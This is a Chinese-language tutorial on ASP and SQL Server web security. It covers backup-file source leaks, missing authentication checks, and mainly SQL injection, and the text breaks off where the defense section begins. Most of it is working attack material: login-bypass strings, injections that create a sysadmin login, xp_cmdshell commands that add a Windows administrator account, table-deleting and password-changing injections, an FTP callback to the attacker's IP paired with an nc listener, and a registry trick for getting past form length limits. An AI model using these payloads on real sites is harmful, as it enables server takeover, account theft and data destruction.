1、bak文件洩漏ASP源代碼
很多編輯工具,如Editplus、UltraEdit,默認情況下在保存文件的時候,都會自動備份一個.bak文件。如創建或者編輯config.asp文件,則編輯器會自動生成一個config.asp.bak文件,如果沒有刪除該文件,攻擊者可以通過http://www.***.com/config.asp.bak來下載ASP源程序。
可以想象,你的源程序被下載,被攻擊的風險無疑大了很多。而如果是配置文件,呵呵,用戶名、密碼、數據庫名稱/位置……
解決辦法:要麼就直接關閉編輯器的自動備份功能,要麼在上傳的時候,刪除所有.bak文件。
2、身份驗證被繞過 一般網站有很多頁面是需要身份驗證通過以後才能訪問的,而在這些頁面需要對用戶身份再次進行驗證,但是很多程序員往往忽略了這一點。如果攻擊者知道了這些頁面的路徑和文件名,就可以繞過身份驗證,直接進入到該頁面。如:需要用戶通過login.asp頁面登陸,經過身份驗證才能打開manage.asp頁面。攻擊者可以通過http://www.***.com/manage.ASP直接進入管理界面。
解決辦法:在這些的頁面開頭進行身份確認。如:在身份驗證通過以後傳遞一個session("login")="ok",在manage.ASP開頭加入
以下內容為程序代碼:
if session("login")<>"ok" then
response.redirect "login.ASP"
end if
上面2點說的都是編程的基礎問題,下面就來討論本文的重點,關於sql注入式攻擊與防范。
3、ASP程序數據庫密碼驗證漏洞 首先,關於request對象,我們知道,如果在form表單中使用get方法傳遞數據時,應該用QueryString集合來檢索表單數據;而使用post方法傳遞數據時,應該用Form集合來檢索表單數據。而更多的程序員為了方便,直接省略集合名稱,使用request("data")來檢索數據,看似簡單,實際上效率很低,而且容易出錯。ASP默認搜索集合的順序是QueryString、Form、CookIE、Serverariable,當發現第一個匹配的變量時,就認定是你要訪問的成員。所以建議大家不要采用這種方法,題外話說完,我們轉入正題。
先來看login.ASP文件
以下內容為程序代碼:
……
……
再來看verify.ASP文件
以下內容為程序代碼:
……
dim rs,sql
dim name,pwd
name=request.form("name")
pwd=request.form("pwd")
if name="" or pwd="" then
response.redirect "login.ASP"
end if
……
'關於身份驗證
sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
……
不要以為沒有人會這樣寫,我見過很多很多,如果你相信我:),看看攻擊者能做什麼:
(1)我們在用戶名位置輸入【admin' or 1='1】,在密碼區輸入【11】。注:內容只有【】內的。看看sql會變成什麼:
以下內容為程序代碼:
sql=select * from user where name='admin' or 1='1' and pwd='11'
我們知道,or是一個邏輯運算符,在判斷多個條件的時候,只要有一個成立,則等式就返回真,後面的and就不再進行判斷了,也就是說我們繞過了密碼驗證,只要我們知道用戶名就可以登陸該系統。
(2)我們也可以在用戶名位置輸入【admin' --】,在密碼區輸入【11】。
再看看sql:
以下內容為程序代碼:
sql=select * from user where name='admin' --' and pasWord='11'
同樣,通過連接符--注釋掉了後面的密碼驗證,對Access數據庫無效。
(3)如果可以通過連接符注釋掉後面的驗證,那麼就更有意思了,來看我們能作什麼:
a、在用戶名位置輸入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一個sql用戶
b、在用戶名位置輸入【admin';exec master.dbo.sp_passWord null,123456,Cool;--】,給Cool設置密碼為123456
c、在用戶名位置輸入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,給Cool賦予System Administrator權限
d、在用戶名位置輸入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passWordreq:yes /active:yes /add';-- 】,給系統添加一個密碼為123456的帳戶Cool,並設置相關屬性,關於net user命令可以參考這裡。
e、在用戶名位置輸入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用戶添加到管理員組。
現在覺得恐怖了沒有,當然我還沒說完,實現這些必須是該站點使用sa或者system administrator權限的用戶來連接數據庫,普通的的虛擬空間是不用想了,除非管理員是SB。但是對於那些站點放在自己服務器上的網站,很難說哦,真的很難說,呵呵,我見過N個。
那如果不是sa,是不是就什麼也不能做了,當然不是!只是不能獲得太高權限來控制sql庫和系統了,但是對這個庫,我們還是擁有完整的管理權限。來看看我們能作什麼:
a、輸入【admin';delete user;--】,一旦他的表名就是user,就會刪除user表裡所有記錄。夠狠吧!你可千萬別這麼做哦!
b、輸入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以給user表添加一個用戶,當然前提是表名和字段名都要正確。
c、輸入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密碼,當然前提也是表名和字段名都要正確。
更多的攻擊內容,你可以參考sql語法。
看來如果不是sa還是比較郁悶的,當然,我們也有一些簡單的方法來判斷網站是否使用sa來連接數據庫。
a、在cmd中執行nc -l -p 21,監聽本機的21端口;當然也可以采用火牆什麼的。
b、輸入【admin';exec master.dbo.xp_cmdshell 'FTP *.*.*.*'】,其中*代表你的ip地址,如果發現有連接,就可以斷定是使用sa了,而且可以獲得網站數據庫的ip地址,因為有些網站web和sql是放在不同服務器上的;如果沒有連接,則網站使用的是非sa帳戶。
可能有的朋友已經看出來了,如果網站使用的是sa,我們可以通過頁面從內部發起連接,可以構造ftp腳本,也可以使用tFTP來上傳文件,即使有火牆也是枉然。
也許有的朋友會說,人家在表單裡已經這裡了最大長度是20,你跟本就輸入不了那麼多!沒事,難不倒我們。
方法一:
您正在看的SQLserver教程是:淺談SQL注入式(SQLinjection)攻擊與防范。 a、打開網站頁面http:\www.***.comlogin.ASP,查看源文件,把提交表單部分
以下內容為程序代碼:
拷貝出來,存到本機login.htm
b、修改action為http:\www.***.comverify.ASP,
即:
以下內容為程序代碼:
注意:有的網站這裡的action為空,就需要你自己慢慢找找他提交到那裡去了,呵呵,我遇到過這種情況,一般來說都是可以找到的。
c、修改maxlength,加大,再加大,要不就刪除了!
d、從本地提交變量
方法二:
Cool.reg
9x用戶:
以下內容為程序代碼:
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt給我加大>
@="c:\cool.htm"
"contexts"=dWord:00000004
2k用戶:
以下內容為程序代碼:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMenuExt給我加大>
@="c:\cool.htm"
"contexts"=dWord:00000004
Cool.htm
以下內容為程序代碼:
a、拷貝cool.reg的內容,保存,執行並確認。
b、拷貝cool.htm的內容,保存到指定位置,這裡是c:c、打開網頁http://www.***.com,在輸入框位置點擊右鍵,會看到“給我加大”一項,點擊即可
當然,我們可以修改cool.reg來改變cool.htm的路徑以及文件名;也可以修改cool.htm來改變size和maxlength。
好了,說了這麼多恐怖的東東,來看看怎麼防